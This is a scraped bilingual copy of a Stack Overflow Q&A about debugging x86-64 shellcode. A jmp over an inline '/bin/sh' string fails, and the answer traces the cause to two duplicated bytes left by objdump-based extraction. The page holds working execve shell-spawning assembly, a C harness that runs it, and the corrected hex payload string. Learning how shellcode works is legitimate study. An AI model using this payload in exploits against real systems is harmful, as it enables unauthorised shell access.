当next(跳过)指令是变量定义时,Shellcode中的JMP意外行为 [英] JMP unexpected behavior in Shellcode when next(skipped) instruction is a variable definition

查看:215
本文介绍了当next(跳过)指令是变量定义时,Shellcode中的JMP意外行为的处理方法,对大家解决问题具有一定的参考价值,需要的朋友们下面随着小编来一起学习吧!

问题描述

目的:我试图利用x86-64中的RIP模式.即使程序集单独执行了预期的操作,shellcode也无法执行.

Purpose: I was trying to take advantage of the RIP mode in x86-64. Even though the assembly performs as expected on its own, the shellcode does not.

问题:简而言之,我尝试过的是这个

The Problem: Concisely what I tried was this,

jmp l1
str1: db "some string"
l1:
   other code
   lea rax, [rel str1]

我在不同的地方使用了上述方法,但仅在某些地方失败了,在其他地方却成功了.我试着玩,失败时找不到任何模式.当变量(str1:db指令)的位置在指令访问它之后,它从未失败(根据我的观察).但是,我想删除空值,因此在访问变量之前先放置了变量定义.

I used the above at various places, it failed only at certain places and succeeded in other places. I tried to play around and could not find any pattern when it fails. When variable(str1: db instruction) position is after the instruction accessing it, it never failed(in my observations). However, I want to remove nulls, hence I placed the variable definition before accessing it.

调试发现
在调试时,我发现失败的jmp指向一些不正确的指令地址. 例如:(在gdb中)

Debug finds
On debugging , I found the failed jmp point to some incorrect instruction address. Eg:(in gdb)

(code + 18) jmp [code +27] //jmp pointing incorrectly to in-between 2
(code + 22) ... (this part has label)
(code + 24) some instruction // this is where I intended the jmp
(code + 28) some other instruction

代码 这是一个示例代码,我试图生成一个Execve Shell.它很大,因此我确定了罪魁祸首JMP的位置.

Code This is a sample code, I was trying to spawn a Execve Shell. It is quite large so I have identified the position of the culprit JMP.

global _start
section .text
_start: 
    xor rax,rax
    mov rsi,rax
    mov rdi,rsi
    mov rdx,rdi
    mov r8,rdx
    mov rcx,r8
    mov rbx,rcx
    jmp gg //failing (jumping somewhere unintended)
    p2: db "/bin/sh"        
gg:
    xor rax,rax
    lea rdi, [rel p2]
    mov [rdi+7], byte al //null terminating using 0x00 from rax
    mov [rdi+8], rdi
    mov [rdi+16],rax


    lea rsi,[rdi+8]
    lea rdx,[rdi+16]
    mov al,59
    syscall

1 已修改代码以包含失败的说明

1 Have modified the code to contain the failing instructions

2 我使用的C语言中的Shellcode.

2 Shellcode in C that I used.

#include<stdio.h>
#include<string.h>

unsigned char code[] = \
"\x48\x31\xc0\x48\x89\xc6\x48\x89\xf7\x48\x89\xfa\x49\x89\xd0\x4c\x89\xc1\x48\x89\xcb\xeb\x07\x2f\x62\x69\x6e\x2f\x73\x68\x48\x31\x48\x31\xc0\x48\x8d\x3d\xef\xff\xff\xff\x88\x47\x07\x48\x89\x7f\x08\x48\x89\x47\x10\x48\x8d\x77\x08\x48\x8d\x57\x10\xb0\x3b\x0f\x05";
main()
{

    printf("Shellcode Length:  %d\n", (int)strlen(code));

    int (*ret)() = (int(*)())code;

    ret();

}

编辑3 我将通过将以下代码放置在Bash文件中并通过传递文件名作为参数来运行它来获取Hexdump.从ShellStorm拿来的.

EDIT 3 I would get Hexdump by placing the following code would be placed inside a Bash file and running it by passing filename as argument. Took it from ShellStorm.


`for i in $(objdump -d $1 -M intel |grep "^ " |cut -f2); do echo -n '\x'$i`;

推荐答案

TL; DR :用于将独立的Shell代码程序shellExec转换为Shell代码利用字符串的方法是越野车.

TL;DR : The method you are using to convert your standalone shell code program shellExec to a shell code exploit string is buggy.

根据给出的信息,我怀疑问题是您使用反汇编输出生成最终字节流的方式,该最终字节流被转换为您的Shell代码字符串.可能反汇编输出的输出令人困惑,并且值可能重复.在尝试分解数据(与代码混合)时,它尝试输出最短的可编码指令以完成对所有数据的使用,然后发现您有一个JMP目标,并在备份该字节以进行重新同步时重复了一些字节.无论使用什么过程将反汇编转换为二进制,都不会考虑这种问题.

Based on the information given, I suspect the problem is the way in which you are using disassembly output to generate the final byte stream that gets converted into your shell code string. Likely the disassembly output had confusing output and possibly duplicated values. While trying to disassemble data (mixed with the code) it tried to output the shortest encodeable instruction to finish consuming all the data and then discovered you had a JMP target and duplicated some of the bytes as it backed up to re-synchronize. Whatever process was used to convert the disassembly to binary didn't take this kind of issue into account.

不要使用反汇编输出来生成二进制文件.使用外壳程序代码生成独立的可执行文件(我相信shellExec是您的文件),并使用 OBJCOPY HEXDUMP 之类的工具来生成 C shell代码字符串:

Don't use disassembly output to generate the binary file. Generate your standalone executable with the shell code (I believe shellExec is the file in your case) and use tools like OBJCOPY and HEXDUMP to generate the C shell code string:

objcopy -j.text -O binary execShell execShell.bin
hexdump -v -e '"\\""x" 1/1 "%02x" ""' execShell.bin

objcopy命令使用execShell可执行文件,仅提取.text节(使用-j.text选项),并作为二进制数据输出到文件execShell.bin. hexdump命令只是将二进制文件重新格式化并以可以在 C 字符串中使用的格式输出.此过程不涉及解析任何令人困惑的反汇编输出,因此不会遇到您遇到的问题. hexdump的输出应类似于:

The objcopy command takes the execShell executable and extracts just the .text section (using the -j.text option) and outputs as binary data to the file execShell.bin. The hexdump command just reformats the binary file and outputs it in a form that can be used in a C string. This process doesn't involve parsing any confusing disassembly output so doesn't suffer the problem you encountered. The output of hexdump should look like:

\ x48 \ x31 \ xc0 \ x48 \ x89 \ xc6 \ x48 \ x89 \ xf7 \ x48 \ x89 \ xfa \ x49 \ x89 \ xd0 \ x4c \ x89 \ xc1 \ x48 \ x89 \ xcb \ xeb \ x07 \ x2f \ x62 \ x69 \ x6e \ x2f \ x73 \ x68 \ x48 \ x31 \ xc0 \ x48 \ x8d \ x3d \ xef \ xff \ xff \ xff \ xff \ x88 \ x47 \ x07 \ x48 \ x89 \ x7f \ x08 \ x48 \ x89 \ x47 \ x10 \ x48 \ x8d \ x77 \ x08 \ x48 \ x8d \ x57 \ x10 \ xb0 \ x3b \ x0f \ x05

\x48\x31\xc0\x48\x89\xc6\x48\x89\xf7\x48\x89\xfa\x49\x89\xd0\x4c\x89\xc1\x48\x89\xcb\xeb\x07\x2f\x62\x69\x6e\x2f\x73\x68\x48\x31\xc0\x48\x8d\x3d\xef\xff\xff\xff\x88\x47\x07\x48\x89\x7f\x08\x48\x89\x47\x10\x48\x8d\x77\x08\x48\x8d\x57\x10\xb0\x3b\x0f\x05

这与您的稍有不同:

\ x48 \ x31 \ xc0 \ x48 \ x89 \ xc6 \ x48 \ x89 \ xf7 \ x48 \ x89 \ xfa \ x49 \ x89 \ xd0 \ x4c \ x89 \ xc1 \ x48 \ x89 \ xcb \ xeb \ x07 \ x2f \ x62 \ x69 \ x6e \ x2f \ x73 \ x68 \ x48 \ x31 \ x48 \ x31 \ xc0 \ x48 \ x8d \ x3d \ xef \ xff \ xff \ xff \ x88 \ x47 \ x07 \ x48 \ x89 \ x7f \ x08 \ x48 \ x89 \ x47 \ x10 \ x48 \ x8d \ x77 \ x08 \ x48 \ x8d \ x57 \ x10 \ xb0 \ x3b \ x0f \ x05

\x48\x31\xc0\x48\x89\xc6\x48\x89\xf7\x48\x89\xfa\x49\x89\xd0\x4c\x89\xc1\x48\x89\xcb\xeb\x07\x2f\x62\x69\x6e\x2f\x73\x68\x48\x31\x48\x31\xc0\x48\x8d\x3d\xef\xff\xff\xff\x88\x47\x07\x48\x89\x7f\x08\x48\x89\x47\x10\x48\x8d\x77\x08\x48\x8d\x57\x10\xb0\x3b\x0f\x05

我强调了区别.在字节字符串/bin/sh之后,您的输出引入了额外的\x48\x31. Shell代码字符串中的额外2个字节是导致代码无法在目标可执行文件中按预期方式运行的原因.

I've highlighted the difference. After the string of bytes /bin/sh your output introduced an extra \x48\x31 . The extra 2 bytes in your shell code string are responsible for the code not running as expected in the target executable.

这篇关于当next(跳过)指令是变量定义时,Shellcode中的JMP意外行为的文章就介绍到这了,希望我们推荐的答案对大家有所帮助,也希望大家多多支持IT屋!

查看全文
登录 关闭
扫码关注1秒登录
发送“验证码”获取 | 15天全站免登陆